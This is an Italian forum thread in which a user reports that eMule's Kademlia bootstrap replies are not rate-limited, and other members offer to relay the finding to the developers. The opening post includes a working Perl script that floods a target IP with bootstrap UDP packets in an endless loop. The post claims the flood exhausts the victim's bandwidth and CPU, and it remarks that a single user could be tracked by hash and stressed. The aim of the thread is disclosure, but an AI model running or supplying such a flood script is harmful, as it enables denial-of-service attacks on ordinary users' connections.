Menu principale

News:

Ritornati online con una nuova veste grafica

Non è un vero busg, ma..come floodare emule

Aperto da LordSaga640, 13 Gennaio 2006, 15:17:35

Discussione precedente - Discussione successiva

LordSaga640

non avendo molto tempo oggi, (parto per andare a sciare all'abetone), mi sono messo a spippolare con il protocollo kademlia di emule.
E' un protocollo semplcie ma molto efficace.
In poco tempo ho fatto uno un addone per **** che mi ha riempito la tabella con 900 ip (in pochissimi secondi).

Poi ho provato a richiedere al mio mulo molti boostrap al secondo. Il boostap è una richiesta base che spedendo 29byte, il client ti risponde con 600byte (una lista di PEER di altri nodi).

E-mule non fa un controllo per limitare la risposta a queste richieste.
Il risultato è che spedendo 30KB al secondi di sole richieste boostrap, il client emule sfonda la banda in upload predisposta e dovrebbe inviare ben 620KB al secondo di pacchetti UDP!!! A questa velocità i pacchetto TCP non vengono nemmeno considerati. Le connessioni tcp cadono e non si scarica un bel niente. Navigare in internet diventa pressoche impossibile. Anzi, prima di sfondare la banda in upload a 620KB al secondo, il processore va al 100% bloccando emule e le altre applicazioni.
Lo script usato è banale:

use IO::Socket::INET;
use Digest::MD5;
my $mioip="8***";
my $destip="***";#
my $peersender=Digest::MD5::md5("ciao").ip2kid($mioip).pack("SS",4673,4662)."\x00"; #16 + 4 + 2 + 2 + 1=25

my   $sock = IO::Socket::INET->new(LocalPort => 4673, Proto     => 'udp') or die("$! $^E");

while (1) {
   send($sock,"\xe4\x00".$peersender,0,sockaddr_in(4672,inet_aton($destip)));
   print "Inviato $ff\n";
   $ff++;
}
sub  ip2kid {
   return pack "CCCC", reverse split /\./ ,shift;
}


Inserendo nel while 2 send a due persone differenti il flood avrebbe cmq successo!

Seconde dovrebbe fare un controllo su queste funzioni limitando per il boostrap a massimo 2 risposte al secondo.


Visto la facilità con il quale su emule si trovano gli IP in base all'hash utente, non ci vorrebbe molto per creare uno script che prende di mira un singolo utente fino allo stress. Anche se cambia IP mille volte lo troverei cmq sempre. Dovrebbe disabilitare il kad, cambiare hash utente, cambiare i file condivisi e nick. :(


Non so scrivere in inglese ma un messaggio ai dev di fare qualche controllino andrebbe messo :\

ciauz

MoNrOo

#1
Interessante...
Ti aiuterei volentieri, ma il mio inglese non penso sia così buono da farmi capire...
Vediamo se qualche mod se la sente^^


messaggio 999  :dribble:  :dribble:

:rotfl:

LordSaga640


MoNrOo

Intendevo se qualche mod-eratore se la sente di fare il post :D

Black Tom

Molto interessante, mandami un PM con il testo del messaggio che vorresti inviare, te lo traduco volentieri io, ciao.

LordSaga640

CitazioneMolto interessante, mandami un PM con il testo del messaggio che vorresti inviare, te lo traduco volentieri io, ciao.
[snapback]112321[/snapback]
ciao :)

non c'è molto da dire.
Dovresti semplicemente dite che:
Le risposte del kad come le risposte del boostrap di emule dovrebbe essere limitate. Al massimo 10 risposte di boostrap al minuto o sanno loro quanto mettere. Senza controllo c'è un po' di casino :(

davidonzo

davidonzo - anche detto damionzo, ultimamente definito "ragazzino modniubbione"
Se non abbocca all'amo prova con......."ti stimo tantissimo".......
My Blog
Prima di postare fai una Ricerca :-)